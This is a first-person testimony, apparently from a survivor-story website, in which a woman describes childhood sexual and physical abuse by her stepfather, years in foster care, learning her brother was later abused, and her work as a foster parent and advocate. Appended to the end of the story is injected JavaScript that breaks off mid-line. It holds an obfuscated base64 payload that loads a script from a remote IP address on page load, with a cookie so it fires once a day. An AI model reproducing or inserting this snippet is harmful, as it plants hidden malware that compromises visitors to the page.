122 – Angie G. (United States)

My name is Angie and I am a survivor of sexual abuse. I was abused, both sexually and physically by my mother’s second husband (Pat) starting at 10 years old. He was a monster by all definition. When I was 12 I threatened to tell and it stopped but the beatings picked up in it’s place. At 14 he started making sexual comments to me I felt as though it was going to escalate to sexual assault so I told a friend who reported the abuse. My mother covered for him even though the counselors and police believed me. I was put into foster care, separated from my family. I was asked by the police if I wanted to press charges, feeling as though no one really cared and afraid to do something like that alone, with no family support, I declined. I spent the remainder of my childhood in foster care, barely able to see my younger half brothers.
When I was 20 I learned that Pat had not only started sexually abusing but raping my younger brother, it has been going on since a few months after I moved out. The state had not removed my brothers because neither had been abused and according to the social worker offenders typically have a “preference” and Pat’s was adolescent females so in their mind the boys were safe. I was sickened and overcome with guilt. I learned that day there was both a pain and guilt greater than the one that comes from being a victim, the pain of wishing I could/would have pressed charges and possibly saved my brother from this horrific abuse. The only positive that came of this was Pat received 10 years in jail, on a plea and our abuse was finally validated publicly. I allowed myself to wallow in my guilt and depression until a close friend asked why I was letting this define who I was, why I was allowing that monster to have a place in my life. It was like a light came on..
Since then I have dedicated myself to helping victims and have been a foster parent and advocate since I turned 21. My husband and I have had countless children live with us, even adopting several, providing love, support and most of all understanding. I encourage everyone reading this to get involved, together we can make a difference and help break the cycle of silence. There is no one that understands the pain and emotion of an abuse survivor better than another survivor. What does not break us only makes us stronger, we have been silent far too long. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘